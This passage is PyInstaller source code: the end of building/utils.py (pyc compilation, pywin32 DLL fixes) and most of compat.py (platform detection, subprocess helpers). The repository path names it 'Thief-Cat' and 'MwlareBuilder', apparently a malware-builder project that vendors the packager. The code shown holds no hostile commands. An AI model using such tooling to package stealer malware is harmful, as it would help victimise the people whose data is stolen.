        parent_dirs = split_name
        mod_basename = "__init__"
    else:
        # Regular module; use last component of the fully-qualified name as module name, and the rest as the parent
        # path.
        parent_dirs = split_name[:-1]
        mod_basename = split_name[-1]
    pyc_path = os.path.join(workpath, *parent_dirs, mod_basename + '.pyc')

    # If .pyc file already exists in our workpath, check if we can re-use it. For that:
    #  - its modification timestamp must be newer than that of the source file
    #  - it must be compiled for compatible python version
    if os.path.exists(pyc_path):
        can_reuse = False
        if misc.mtime(pyc_path) > misc.mtime(src_path):
            with open(pyc_path, 'rb') as fh:
                can_reuse = fh.read(4) == compat.BYTECODE_MAGIC

        if can_reuse:
            return pyc_path

    # Ensure the existence of parent directories for the target pyc path
    os.makedirs(os.path.dirname(pyc_path), exist_ok=True)

    # Check if optional cache contains module entry
    code_object = code_cache.get(name, None) if code_cache else None

    if code_object is None:
        _, ext = os.path.splitext(src_path)
        ext = ext.lower()

        if ext == '.py':
            # Source py file; compile...
            py_compile.compile(src_path, pyc_path)
            # ... and read the contents
            with open(pyc_path, 'rb') as fp:
                pyc_data = fp.read()
        elif ext == '.pyc':
            # The module is available in binary-only form. Read the contents of .pyc file using helper function, which
            # supports reading from either stand-alone or archive-embedded .pyc files.
            pyc_data = _read_pyc_data(src_path)
        else:
            raise ValueError(f"Invalid python module file {src_path}; unhandled extension {ext}!")

        # Unmarshal code object; this is necessary if we want to strip paths from it
        code_object = marshal.loads(pyc_data[16:])

    # Strip code paths from the code object
    code_object = strip_paths_in_code(code_object)

    # Write module file
    with open(pyc_path, 'wb') as fh:
        fh.write(compat.BYTECODE_MAGIC)
        fh.write(struct.pack('<I', 0b01))  # PEP-552: hash-based pyc, check_source=False
        fh.write(b'\00' * 8)  # Zero the source hash
        marshal.dump(code_object, fh)

    # Return output path
    return pyc_path


def _read_pyc_data(filename):
    """
    Helper for reading data from .pyc files. Supports both stand-alone and archive-embedded .pyc files. Used by
    `compile_pymodule` and `get_code_object` helper functions.
    """
    src_file = pathlib.Path(filename)

    if src_file.is_file():
        # Stand-alone .pyc file.
        pyc_data = src_file.read_bytes()
    else:
        # Check if .pyc file is stored in a .zip archive, as is the case for stdlib modules in embeddable
        # python on Windows.
        parent_zip_file = misc.path_to_parent_archive(src_file)
        if parent_zip_file is not None and zipfile.is_zipfile(parent_zip_file):
            with zipfile.ZipFile(parent_zip_file, 'r') as zip_archive:
                # NOTE: zip entry names must be in POSIX format, even on Windows!
                zip_entry_name = str(src_file.relative_to(parent_zip_file).as_posix())
                pyc_data = zip_archive.read(zip_entry_name)
        else:
            raise FileNotFoundError(f"Cannot find .pyc file {filename!r}!")

        # Verify the python version
        if pyc_data[:4] != compat.BYTECODE_MAGIC:
            raise ValueError(f"The .pyc module {filename} was compiled for incompatible version of python!")

    return pyc_data


def postprocess_binaries_toc_pywin32(binaries):
    """
    Process the given `binaries` TOC list to apply work around for `pywin32` package, fixing the target directory
    for collected extensions.
    """
    # Ensure that all files collected from `win32`  or `pythonwin` into top-level directory are put back into
    # their corresponding directories. They end up in top-level directory because `pywin32.pth` adds both
    # directories to the `sys.path`, so they end up visible as top-level directories. But these extensions
    # might in fact be linked against each other, so we should preserve the directory layout for consistency
    # between modulegraph-discovered extensions and linked binaries discovered by link-time dependency analysis.
    # Within the same framework, also consider `pywin32_system32`, just in case.
    PYWIN32_SUBDIRS = {'win32', 'pythonwin', 'pywin32_system32'}

    processed_binaries = []
    for dest_name, src_name, typecode in binaries:
        dest_path = pathlib.PurePath(dest_name)
        src_path = pathlib.PurePath(src_name)

        if dest_path.parent == pathlib.PurePath('.') and src_path.parent.name.lower() in PYWIN32_SUBDIRS:
            dest_path = pathlib.PurePath(src_path.parent.name) / dest_path
            dest_name = str(dest_path)

        processed_binaries.append((dest_name, src_name, typecode))

    return processed_binaries


def postprocess_binaries_toc_pywin32_anaconda(binaries):
    """
    Process the given `binaries` TOC list to apply work around for Anaconda `pywin32` package, fixing the location
    of collected `pywintypes3X.dll` and `pythoncom3X.dll`.
    """
    # The Anaconda-provided `pywin32` package installs three copies of `pywintypes3X.dll` and `pythoncom3X.dll`,
    # located in the following directories (relative to the environment):
    # - Library/bin
    # - Lib/site-packages/pywin32_system32
    # - Lib/site-packages/win32
    #
    # This turns our dependency scanner and directory layout preservation mechanism into a lottery based on what
    # `pywin32` modules are imported and in what order. To keep things simple, we deal with this insanity by
    # post-processing the `binaries` list, modifying the destination of offending copies, and let the final TOC
    # list normalization deal with potential duplicates.
    DLL_CANDIDATES = {
        f"pywintypes{sys.version_info[0]}{sys.version_info[1]}.dll",
        f"pythoncom{sys.version_info[0]}{sys.version_info[1]}.dll",
    }

    DUPLICATE_DIRS = {
        pathlib.PurePath('.'),
        pathlib.PurePath('win32'),
    }

    processed_binaries = []
    for dest_name, src_name, typecode in binaries:
        # Check if we need to divert - based on the destination base name and destination parent directory.
        dest_path = pathlib.PurePath(dest_name)
        if dest_path.name.lower() in DLL_CANDIDATES and dest_path.parent in DUPLICATE_DIRS:
            dest_path = pathlib.PurePath("pywin32_system32") / dest_path.name
            dest_name = str(dest_path)

        processed_binaries.append((dest_name, src_name, typecode))

    return processed_binaries

ThiefCat_assets/MwlareBuilder/building/utils.py
KSCH-58/Thief-Cat
# ----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
# ----------------------------------------------------------------------------
"""
Various classes and functions to provide some backwards-compatibility with previous versions of Python onward.
"""
from __future__ import annotations

import errno

import importlib.machinery
import importlib.util
import os
import platform
import site
import subprocess
import sys
import shutil

from PyInstaller._shared_with_waf import _pyi_machine
from PyInstaller.exceptions import ExecCommandFailed

# setup.py sets this environment variable to avoid errors due to unmet run-time dependencies. The PyInstaller.compat
# module is imported by setup.py to build wheels, and some dependencies that are otherwise required at run-time
# (importlib-metadata on python < 3.10, pywin32-ctypes on Windows) might not be present while building wheels,
# nor are they required during that phase.
_setup_py_mode = os.environ.get('_PyInstaller_SETUP_PY', '0') != '0'

# PyInstaller requires importlib.metadata from python >= 3.10 stdlib, or equivalent importlib-metadata >= 4.6.
if _setup_py_mode:
    importlib_metadata = None
else:
    if sys.version_info >= (3, 10):
        import importlib.metadata as importlib_metadata
    else:
        try:
            import importlib_metadata
        except ImportError as e:
            from PyInstaller.exceptions import ImportlibMetadataError
            raise ImportlibMetadataError() from e

        import packaging.version  # For importlib_metadata version check

        # Validate the version
        if packaging.version.parse(importlib_metadata.version("importlib-metadata")) < packaging.version.parse("4.6"):
            from PyInstaller.exceptions import ImportlibMetadataError
            raise ImportlibMetadataError()

# Strict collect mode, which raises error when trying to collect duplicate files into PKG/CArchive or COLLECT.
strict_collect_mode = os.environ.get("PyInstaller_STRICT_COLLECT_MODE", "0") != "0"

# Copied from https://docs.python.org/3/library/platform.html#cross-platform.
is_64bits: bool = sys.maxsize > 2**32

# Distinguish specific code for various Python versions. Variables 'is_pyXY' mean that Python X.Y and up is supported.
# Keep even unsupported versions here to keep 3rd-party hooks working.
is_py35 = sys.version_info >= (3, 5)
is_py36 = sys.version_info >= (3, 6)
is_py37 = sys.version_info >= (3, 7)
is_py38 = sys.version_info >= (3, 8)
is_py39 = sys.version_info >= (3, 9)
is_py310 = sys.version_info >= (3, 10)
is_py311 = sys.version_info >= (3, 11)
is_py312 = sys.version_info >= (3, 12)

is_win = sys.platform.startswith('win')
is_win_10 = is_win and (platform.win32_ver()[0] == '10')
is_win_wine = False  # Running under Wine; determined later on.
is_cygwin = sys.platform == 'cygwin'
is_darwin = sys.platform == 'darwin'  # Mac OS X

# Unix platforms
is_linux = sys.platform.startswith('linux')
is_solar = sys.platform.startswith('sun')  # Solaris
is_aix = sys.platform.startswith('aix')
is_freebsd = sys.platform.startswith('freebsd')
is_openbsd = sys.platform.startswith('openbsd')
is_hpux = sys.platform.startswith('hp-ux')

# Some code parts are similar to several unix platforms (e.g. Linux, Solaris, AIX).
# Mac OS is not considered as unix since there are many platform-specific details for Mac in PyInstaller.
is_unix = is_linux or is_solar or is_aix or is_freebsd or is_hpux or is_openbsd

# Linux distributions such as Alpine or OpenWRT use musl as their libc implementation and resultantly need specially
# compiled bootloaders. On musl systems, ldd with no arguments prints 'musl' and its version.
is_musl = is_linux and "musl" in subprocess.getoutput(["ldd"])

# macOS version
_macos_ver = tuple(int(x) for x in platform.mac_ver()[0].split('.')) if is_darwin else None

# macOS 11 (Big Sur): if python is not compiled with Big Sur support, it ends up in compatibility mode by default, which
# is indicated by platform.mac_ver() returning '10.16'. The lack of proper Big Sur support breaks find_library()
# function from ctypes.util module, as starting with Big Sur, shared libraries are not visible on disk anymore. Support
# for the new library search mechanism was added in python 3.9 when compiled with Big Sur support. In such cases,
# platform.mac_ver() reports version as '11.x'. The behavior can be further modified via SYSTEM_VERSION_COMPAT
# environment variable; which allows explicitly enabling or disabling the compatibility mode. However, note that
# disabling the compatibility mode and using python that does not properly support Big Sur still leaves find_library()
# broken (which is a scenario that we ignore at the moment).
# The same logic applies to macOS 12 (Monterey).
is_macos_11_compat = bool(_macos_ver) and _macos_ver[0:2] == (10, 16)  # Big Sur or newer in compat mode
is_macos_11_native = bool(_macos_ver) and _macos_ver[0:2] >= (11, 0)  # Big Sur or newer in native mode
is_macos_11 = is_macos_11_compat or is_macos_11_native  # Big Sur or newer

# On different platforms is different file for dynamic python library.
_pyver = sys.version_info[:2]
if is_win or is_cygwin:
    PYDYLIB_NAMES = {
        'python%d%d.dll' % _pyver,
        'libpython%d%d.dll' % _pyver,
        'libpython%d.%d.dll' % _pyver,
    }  # For MSYS2 environment
elif is_darwin:
    # libpython%d.%dm.dylib for Conda virtual environment installations
    PYDYLIB_NAMES = {
        'Python',
        '.Python',
        'Python%d' % _pyver[0],
        'libpython%d.%d.dylib' % _pyver,
    }
elif is_aix:
    # Shared libs on AIX may be archives with shared object members, hence the ".a" suffix. However, starting with
    # python 2.7.11 libpython?.?.so and Python3 libpython?.?m.so files are produced.
    PYDYLIB_NAMES = {
        'libpython%d.%d.a' % _pyver,
        'libpython%d.%d.so' % _pyver,
    }
elif is_freebsd:
    PYDYLIB_NAMES = {
        'libpython%d.%d.so.1' % _pyver,
        'libpython%d.%d.so.1.0' % _pyver,
    }
elif is_openbsd:
    PYDYLIB_NAMES = {'libpython%d.%d.so.0.0' % _pyver}
elif is_hpux:
    PYDYLIB_NAMES = {'libpython%d.%d.so' % _pyver}
elif is_unix:
    # Other *nix platforms.
    # Python 2 .so library on Linux is: libpython2.7.so.1.0
    # Python 3 .so library on Linux is: libpython3.3.so.1.0
    PYDYLIB_NAMES = {'libpython%d.%d.so.1.0' % _pyver, 'libpython%d.%d.so' % _pyver}
else:
    raise SystemExit('Your platform is not yet supported. Please define constant PYDYLIB_NAMES for your platform.')

# In a virtual environment created by virtualenv (github.com/pypa/virtualenv) there exists sys.real_prefix with the path
# to the base Python installation from which the virtual environment was created. This is true regardless of the version
# of Python used to execute the virtualenv command.
#
# In a virtual environment created by the venv module available in the Python standard lib, there exists sys.base_prefix
# with the path to the base implementation. This does not exist in a virtual environment created by virtualenv.
#
# The following code creates compat.is_venv and is.virtualenv that are True when running a virtual environment, and also
# compat.base_prefix with the path to the base Python installation.

base_prefix: str = os.path.abspath(getattr(sys, 'real_prefix', getattr(sys, 'base_prefix', sys.prefix)))
# Ensure `base_prefix` is not containing any relative parts.
is_venv = is_virtualenv = base_prefix != os.path.abspath(sys.prefix)

# Conda environments sometimes have different paths or apply patches to packages that can affect how a hook or package
# should access resources. Method for determining conda taken from https://stackoverflow.com/questions/47610844#47610844
is_conda = os.path.isdir(os.path.join(base_prefix, 'conda-meta'))

# Similar to ``is_conda`` but is ``False`` using another ``venv``-like manager on top. In this case, no packages
# encountered will be conda packages meaning that the default non-conda behaviour is generally desired from PyInstaller.
is_pure_conda = os.path.isdir(os.path.join(sys.prefix, 'conda-meta'))

# Full path to python interpreter.
python_executable = getattr(sys, '_base_executable', sys.executable)

# Is this Python from Microsoft App Store (Windows only)? Python from Microsoft App Store has executable pointing at
# empty shims.
is_ms_app_store = is_win and os.path.getsize(python_executable) == 0

if is_ms_app_store:
    # Locate the actual executable inside base_prefix.
    python_executable = os.path.join(base_prefix, os.path.basename(python_executable))
    if not os.path.exists(python_executable):
        raise SystemExit(
            'PyInstaller cannot locate real python executable belonging to Python from Microsoft App Store!'
        )

# Bytecode magic value
BYTECODE_MAGIC = importlib.util.MAGIC_NUMBER

# List of suffixes for Python C extension modules.
EXTENSION_SUFFIXES = importlib.machinery.EXTENSION_SUFFIXES
ALL_SUFFIXES = importlib.machinery.all_suffixes()

# On Windows we require pywin32-ctypes.
# -> all PyInstaller modules should use win32api from PyInstaller.compat to
#    ensure that it can work on MSYS2 (which requires pywin32-ctypes)
if is_win:
    if _setup_py_mode:
        pywintypes = None
        win32api = None
    else:
        try:
            from win32ctypes.pywin32 import pywintypes  # noqa: F401, E402
            from win32ctypes.pywin32 import win32api  # noqa: F401, E402
        except ImportError as e:
            raise SystemExit(
                'PyInstaller cannot check for assembly dependencies.\n'
                'Please install pywin32-ctypes.\n\n'
                'pip install pywin32-ctypes\n'
            ) from e
        except Exception as e:
            if sys.flags.optimize == 2:
                raise SystemExit(
                    "pycparser, a Windows only indirect dependency of PyInstaller, is incompatible with "
                    "Python's \"discard docstrings\" (-OO) flag mode. For more information see:\n"
                    "    https://github.com/PyInstaller/PyInstaller/issues/6345"
                ) from e
            raise

# macOS's platform.architecture() can be buggy, so we do this manually here. Based off the python documentation:
# https://docs.python.org/3/library/platform.html#platform.architecture
if is_darwin:
    architecture = '64bit' if sys.maxsize > 2**32 else '32bit'
else:
    architecture = platform.architecture()[0]

# Cygwin needs special handling, because platform.system() contains identifiers such as MSYS_NT-10.0-19042 and
# CYGWIN_NT-10.0-19042 that do not fit PyInstaller's OS naming scheme. Explicitly set `system` to 'Cygwin'.
system = 'Cygwin' if is_cygwin else platform.system()

# Machine suffix for bootloader.
machine = _pyi_machine(platform.machine(), platform.system())


# Wine detection and support
def is_wine_dll(filename: str | os.PathLike):
    """
    Check if the given PE file is a Wine DLL (PE-converted built-in, or fake/placeholder one).

    Returns True if the given file is a Wine DLL, False if not (or if file cannot be analyzed or does not exist).
    """
    _WINE_SIGNATURES = (
        b'Wine builtin DLL',  # PE-converted Wine DLL
        b'Wine placeholder DLL',  # Fake/placeholder Wine DLL
    )
    _MAX_LEN = max([len(sig) for sig in _WINE_SIGNATURES])

    # Wine places their DLL signature in the padding area between the IMAGE_DOS_HEADER and IMAGE_NT_HEADERS. So we need
    # to compare the bytes that come right after IMAGE_DOS_HEADER, i.e., after initial 64 bytes. We can read the file
    # directly and avoid using the pefile library to avoid performance penalty associated with full header parsing.
    try:
        with open(filename, 'rb') as fp:
            fp.seek(64)
            signature = fp.read(_MAX_LEN)
        return signature.startswith(_WINE_SIGNATURES)
    except Exception:
        pass
    return False


if is_win:
    try:
        import ctypes.util  # noqa: E402
        is_win_wine = is_wine_dll(ctypes.util.find_library('kernel32'))
    except Exception:
        pass

# Set and get environment variables does not handle unicode strings correctly on Windows.

# Acting on os.environ instead of using getenv()/setenv()/unsetenv(), as suggested in
# <http://docs.python.org/library/os.html#os.environ>: "Calling putenv() directly does not change os.environ, so it is
# better to modify os.environ." (Same for unsetenv.)


def getenv(name: str, default: str | None = None):
    """
    Returns unicode string containing value of environment variable 'name'.
    """
    return os.environ.get(name, default)


def setenv(name: str, value: str):
    """
    Accepts unicode string and set it as environment variable 'name' containing value 'value'.
    """
    os.environ[name] = value


def unsetenv(name: str):
    """
    Delete the environment variable 'name'.
    """
    # Some platforms (e.g., AIX) do not support `os.unsetenv()` and thus `del os.environ[name]` has no effect on the
    # real environment. For this case, we set the value to the empty string.
    os.environ[name] = ""
    del os.environ[name]


# Exec commands in subprocesses.


def exec_command(
    *cmdargs: str, encoding: str | None = None, raise_enoent: bool | None = None, **kwargs: int | bool | list | None
):
    """
    Run the command specified by the passed positional arguments, optionally configured by the passed keyword arguments.

    .. DANGER::
       **Ignore this function's return value** -- unless this command's standard output contains _only_ pathnames, in
       which case this function returns the correct filesystem-encoded string expected by PyInstaller. In all other
       cases, this function's return value is _not_ safely usable. Consider calling the general-purpose
       `exec_command_stdout()` function instead.

       For backward compatibility, this function's return value non-portably depends on the current Python version and
       passed keyword arguments:

       * Under Python 2.7, this value is an **encoded `str` string** rather than a decoded `unicode` string. This value
         _cannot_ be safely used for any purpose (e.g., string manipulation or parsing), except to be passed directly to
         another non-Python command.
       * Under Python 3.x, this value is a **decoded `str` string**. However, even this value is _not_ necessarily
         safely usable:
         * If the `encoding` parameter is passed, this value is guaranteed to be safely usable.
         * Else, this value _cannot_ be safely used for any purpose (e.g., string manipulation or parsing), except to be
           passed directly to another non-Python command. Why? Because this value has been decoded with the encoding
           specified by `sys.getfilesystemencoding()`, the encoding used by `os.fsencode()` and `os.fsdecode()` to
           convert from platform-agnostic to platform-specific pathnames. This is _not_ necessarily the encoding with
           which this command's standard output was encoded. Cue edge-case decoding exceptions.

    Parameters
    ----------
    cmdargs :
        Variadic list whose:
        1. Mandatory first element is the absolute path, relative path, or basename in the current `${PATH}` of the
           command to run.
        2. Optional remaining elements are arguments to pass to this command.
    encoding : str, optional
        Optional keyword argument specifying the encoding with which to decode this command's standard output under
        Python 3. As this function's return value should be ignored, this argument should _never_ be passed.
    raise_enoent : boolean, optional
        Optional keyword argument to simply raise the exception if the executing the command fails since to the command
        is not found. This is useful to checking id a command exists.

    All remaining keyword arguments are passed as is to the `subprocess.Popen()` constructor.

    Returns
    ----------
    str
        Ignore this value. See discussion above.
    """

    proc = subprocess.Popen(cmdargs, stdout=subprocess.PIPE, **kwargs)
    try:
        out = proc.communicate(timeout=60)[0]
    except OSError as e:
        if raise_enoent and e.errno == errno.ENOENT:
            raise
        print('--' * 20, file=sys.stderr)
        print("Error running '%s':" % " ".join(cmdargs), file=sys.stderr)
        print(e, file=sys.stderr)
        print('--' * 20, file=sys.stderr)
        raise ExecCommandFailed("Error: Executing command failed!") from e
    except subprocess.TimeoutExpired:
        proc.kill()
        raise

    # stdout/stderr are returned as a byte array NOT as string, so we need to convert that to proper encoding.
    try:
        if encoding:
            out = out.decode(encoding)
        else:
            # If no encoding is given, assume we are reading filenames from stdout only because it is the common case.
            out = os.fsdecode(out)
    except UnicodeDecodeError as e:
        # The sub-process used a different encoding; provide more information to ease debugging.
        print('--' * 20, file=sys.stderr)
        print(str(e), file=sys.stderr)
        print('These are the bytes around the offending byte:', file=sys.stderr)
        print('--' * 20, file=sys.stderr)
        raise
    return out


def exec_command_rc(*cmdargs: str, **kwargs: float | bool | list | None):
    """
    Return the exit code of the command specified by the passed positional arguments, optionally configured by the
    passed keyword arguments.

    Parameters
    ----------
    cmdargs : list
        Variadic list whose:
        1. Mandatory first element is the absolute path, relative path, or basename in the current `${PATH}` of the
           command to run.
        2. Optional remaining elements are arguments to pass to this command.

    All keyword arguments are passed as is to the `subprocess.call()` function.

    Returns
    ----------
    int
        This command's exit code as an unsigned byte in the range `[0, 255]`, where 0 signifies success and all other
        values signal a failure.
    """

    # 'encoding' keyword is not supported for 'subprocess.call'; remove it from kwargs.
    if 'encoding' in kwargs:
        kwargs.pop('encoding')
    return subprocess.call(cmdargs, **kwargs)


def exec_command_stdout(
    *command_args: str, encoding: str | None = None, **kwargs: float | str | bytes | bool | list | None
):
    """
    Capture and return the standard output of the command specified by the passed positional arguments, optionally
    configured by the passed keyword arguments.

    Unlike the legacy `exec_command()` and `exec_command_all()` functions, this modern function is explicitly designed
    for cross-platform portability. The return value may be safely used for any purpose, including string manipulation
    and parsing.

    .. NOTE::
       If this command's standard output contains _only_ pathnames, this function does _not_ return the correct
       filesystem-encoded string expected by PyInstaller. If this is the case, consider calling the filesystem-specific
       `exec_command()` function instead.

    Parameters
    ----------
    command_args : List[str]
        Variadic list whose:
        1. Mandatory first element is the absolute path, relative path, or basename in the current `${PATH}` of the
           command to run.
        2. Optional remaining elements are arguments to pass to this command.
    encoding : str, optional
        Optional name of the encoding with which to decode this command's standard output (e.g., `utf8`), passed as a
        keyword argument. If unpassed , this output will be decoded in a portable manner specific to to the current
        platform, shell environment, and system settings with Python's built-in `universal_newlines` functionality.

    All remaining keyword arguments are passed as is to the `subprocess.check_output()` function.

    Returns
    ----------
    str
        Unicode string of this command's standard output decoded according to the "encoding" keyword argument.
    """

    # If no encoding was specified, the current locale is defaulted to. Else, an encoding was specified. To ensure this
    # encoding is respected, the "universal_newlines" option is disabled if also passed. Nice, eh?
    kwargs['universal_newlines'] = encoding is None

    # Standard output captured from this command as a decoded Unicode string if "universal_newlines" is enabled or an
    # encoded byte array otherwise.
    stdout = subprocess.check_output(command_args, **kwargs)

    # Return a Unicode string, decoded from this encoded byte array if needed.
    return stdout if encoding is None else stdout.decode(encoding)


def exec_command_all(*cmdargs: str, encoding: str | None = None, **kwargs: int | bool | list | None):
    """
    Run the command specified by the passed positional arguments, optionally configured by the passed keyword arguments.

    .. DANGER::
       **Ignore this function's return value.** If this command's standard output consists solely of pathnames, consider
       calling `exec_command()`; otherwise, consider calling `exec_command_stdout()`.

    Parameters
    ----------
    cmdargs : str
        Variadic list whose:
        1. Mandatory first element is the absolute path, relative path, or basename in the current `${PATH}` of the
           command to run.
        2. Optional remaining elements are arguments to pass to this command.
    encoding : str, optional
        Optional keyword argument specifying the encoding with which to decode this command's standard output. As this
        function's return value should be ignored, this argument should _never_ be passed.

    All remaining keyword arguments are passed as is to the `subprocess.Popen()` constructor.

    Returns
    ----------
    (int, str, str)
        Ignore this 3-element tuple `(exit_code, stdout, stderr)`. See the `exec_command()` function for discussion.
    """
    proc = subprocess.Popen(
        cmdargs,
        bufsize=-1,  # Default OS buffer size.
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        **kwargs
    )
    # Waits for subprocess to complete.
    try:
        out, err = proc.communicate(timeout=60)
    except subprocess.TimeoutExpired:
        proc.kill()
        raise
    # stdout/stderr are returned as a byte array NOT as string. Thus we need to convert that to proper encoding.
    try:
        if encoding:
            out = out.decode(encoding)
            err = err.decode(encoding)
        else:
            # If no encoding is given, assume we're reading filenames from stdout only because it's the common case.
            out = os.fsdecode(out)
            err = os.fsdecode(err)
    except UnicodeDecodeError as e:
        # The sub-process used a different encoding, provide more information to ease debugging.
        print('--' * 20, file=sys.stderr)
        print(str(e), file=sys.stderr)
        print('These are the bytes around the offending byte:', file=sys.stderr)
        print('--' * 20, file=sys.stderr)
        raise

    return proc.returncode, out, err


def __wrap_python(args, kwargs):
    cmdargs = [sys.executable]

    # Mac OS X supports universal binaries (binary for multiple architectures. We need to ensure that subprocess
    # binaries are running for the same architecture as python executable. It is necessary to run binaries with 'arch'
    # command.
    if is_darwin:
        if architecture == '64bit':
            if platform.machine() == 'arm64':
                py_prefix = ['arch', '-arm64']  # Apple M1
            else:
                py_prefix = ['arch', '-x86_64']  # Intel
        elif architecture == '32bit':
            py_prefix = ['arch', '-i386']
        else:
            py_prefix = []
        # Since Mac OS 10.11, the environment variable DYLD_LIBRARY_PATH is no more inherited by child processes, so we
        # proactively propagate the current value using the `-e` option of the `arch` command.
        if 'DYLD_LIBRARY_PATH' in os.environ:
            path = os.environ['DYLD_LIBRARY_PATH']
            py_prefix += ['-e', 'DYLD_LIBRARY_PATH=%s' % path]
        cmdargs = py_prefix + cmdargs

    if not __debug__:
        cmdargs.append('-O')

    cmdargs.extend(args)

    env = kwargs.get('env')
    if env is None:
        env = dict(**os.environ)

    # Ensure python 3 subprocess writes 'str' as utf-8
    env['PYTHONIOENCODING'] = 'UTF-8'
    # ... and ensure we read output as utf-8
    kwargs['encoding'] = 'UTF-8'

    return cmdargs, kwargs


def exec_python(*args: str, **kwargs: str | None):
    """
    Wrap running python script in a subprocess.

    Return stdout of the invoked command.
    """
    cmdargs, kwargs = __wrap_python(args, kwargs)
    return exec_command(*cmdargs, **kwargs)


def exec_python_rc(*args: str, **kwargs: str | None):
    """
    Wrap running python script in a subprocess.

    Return exit code of the invoked command.
    """
    cmdargs, kwargs = __wrap_python(args, kwargs)
    return exec_command_rc(*cmdargs, **kwargs)


# Path handling.


def expand_path(path: str | os.PathLike):
    """
    Replace initial tilde '~' in path with user's home directory, and also expand environment variables
    (i.e., ${VARNAME} on Unix, %VARNAME% on Windows).
    """
    return os.path.expandvars(os.path.expanduser(path))


# Site-packages functions - use native function if available.
def getsitepackages(prefixes: list | None = None):
    """
    Returns a list containing all global site-packages directories.

    For each directory present in ``prefixes`` (or the global ``PREFIXES``), this function finds its `site-packages`
    subdirectory depending on the system environment, and returns a list of full paths.
    """
    # This implementation was copied from the ``site`` module, python 3.7.3.
    sitepackages = []
    seen = set()

    if prefixes is None:
        prefixes = [sys.prefix, sys.exec_prefix]

    for prefix in prefixes:
        if not prefix or prefix in seen:
            continue
        seen.add(prefix)

        if os.sep == '/':
            sitepackages.append(os.path.join(prefix, "lib", "python%d.%d" % sys.version_info[:2], "site-packages"))
        else:
            sitepackages.append(prefix)
            sitepackages.append(os.path.join(prefix, "lib", "site-packages"))
    return sitepackages


# Backported for virtualenv. Module 'site' in virtualenv might not have this attribute.
getsitepackages = getattr(site, 'getsitepackages', getsitepackages)


# Wrapper to load a module from a Python source file. This function loads import hooks when processing them.
def importlib_load_source(name: str, pathname: str):
    # Import module from a file.
    mod_loader = importlib.machinery.SourceFileLoader(name, pathname)
    return mod_loader.load_module()


# Patterns of module names that should be bundled into the base_library.zip to be available during bootstrap.
# These modules include direct or indirect dependencies of encodings.* modules. The encodings modules must be
# recursively included to set the I/O encoding during python startup. Similarly, this list should include
# modules used by PyInstaller's bootstrap scripts and modules (loader/pyi*.py)

PY3_BASE_MODULES = {
    '_collections_abc',
    '_weakrefset',
    'abc',
    'codecs',
    'collections',
    'copyreg',
    'encodings',
    'enum',
    'functools',
    'genericpath',  # dependency of os.path
    'io',
    'heapq',
    'keyword',
    'linecache',
    'locale',
    'ntpath',  # dependency of os.path
    'operator',
    'os',
    'posixpath',  # dependency of os.path
    're',
    'reprlib',
    'sre_compile',
    'sre_constants',
    'sre_parse',
    'stat',  # dependency of os.path
    'traceback',  # for startup errors
    'types',
    'weakref',
    'warnings',
}

if not is_py310:
    PY3_BASE_MODULES.add('_bootlocale')

# Object types of Pure Python modules in modulegraph dependency graph.
# Pure Python modules have code object (attribute co_code).
PURE_PYTHON_MODULE_TYPES = {
    'SourceModule',
    'CompiledModule',
    'Package',
    'NamespacePackage',
    # Deprecated.
    # TODO Could these module types be removed?
    'FlatPackage',
    'ArchiveModule',
}
# Object types of special Python modules (built-in, run-time, namespace package) in modulegraph dependency graph that do
# not have code object.
SPECIAL_MODULE_TYPES = {
    'AliasNode',
    'BuiltinModule',
    'RuntimeModule',
    'RuntimePackage',

    # PyInstaller handles scripts differently and not as standard Python modules.
    'Script',
}
# Object types of Binary Python modules (extensions, etc) in modulegraph dependency graph.
BINARY_MODULE_TYPES = {
    'Extension',
    'ExtensionPackage',
}
# Object types of valid Python modules in modulegraph dependency graph.
VALID_MODULE_TYPES = PURE_PYTHON_MODULE_TYPES | SPECIAL_MODULE_TYPES | BINARY_MODULE_TYPES
# Object types of bad/missing/invalid Python modules in modulegraph dependency graph.
# TODO: should be 'Invalid' module types also in the 'MISSING' set?
BAD_MODULE_TYPES = {
    'BadModule',
    'ExcludedModule',
    'InvalidSourceModule',
    'InvalidCompiledModule',
    'MissingModule',

    # Runtime modules and packages are technically valid rather than bad, but exist only in-memory rather than on-disk
    # (typically due to pre_safe_import_module() hooks), and hence cannot be physically frozen. For simplicity, these
    # nodes are categorized as bad rather than valid.
    'RuntimeModule',
    'RuntimePackage',
}
ALL_MODULE_TYPES = VALID_MODULE_TYPES | BAD_MODULE_TYPES
# TODO: review this mapping to TOC, remove useless entries.
# Dictionary to map ModuleGraph node types to TOC typecodes.
MODULE_TYPES_TO_TOC_DICT = {
    # Pure modules.
    'AliasNode': 'PYMODULE',
    'Script': 'PYSOURCE',
    'SourceModule': 'PYMODULE',
    'CompiledModule': 'PYMODULE',
    'Package': 'PYMODULE',
    'FlatPackage': 'PYMODULE',
    'ArchiveModule': 'PYMODULE',
    # Binary modules.
    'Extension': 'EXTENSION',
    'ExtensionPackage': 'EXTENSION',
    # Special valid modules.
    'BuiltinModule': 'BUILTIN',
    'NamespacePackage': 'PYMODULE',
    # Bad modules.
    'BadModule': 'bad',
    'ExcludedModule': 'excluded',
    'InvalidSourceModule': 'invalid',
    'InvalidCompiledModule': 'invalid',
    'MissingModule': 'missing',
    'RuntimeModule': 'runtime',
    'RuntimePackage': 'runtime',
    # Other.
    'does not occur': 'BINARY',
}


def check_requirements():
    """
    Verify that all requirements to run PyInstaller are met.

    Fail hard if any requirement is not met.
    """
    # Fail hard if Python does not have minimum required version
    if sys.version_info < (3, 8):
        raise EnvironmentError('PyInstaller requires Python 3.8 or newer.')

    # There are some old packages which used to be backports of libraries which are now part of the standard library.
    # These backports are now unmaintained and contain only an older subset of features leading to obscure errors like
    # "enum has not attribute IntFlag" if installed.
    from importlib.metadata import distribution, PackageNotFoundError

    for name in ["enum34", "typing", "pathlib"]:
        try:
            dist = distribution(name)
        except PackageNotFoundError:
            continue
        remove = "conda remove" if is_conda else f'"{sys.executable}" -m pip uninstall {name}'
        raise SystemExit(
            f"The '{name}' package is an obsolete backport of a standard library package and is incompatible with "
            f"PyInstaller. Please remove this package (located in {dist.locate_file('')}) using\n    {remove}\n"
            "then try again."
        )

    # Bail out if binutils is not installed.
    if is_linux and shutil.which("objdump") is None:
        raise SystemExit(
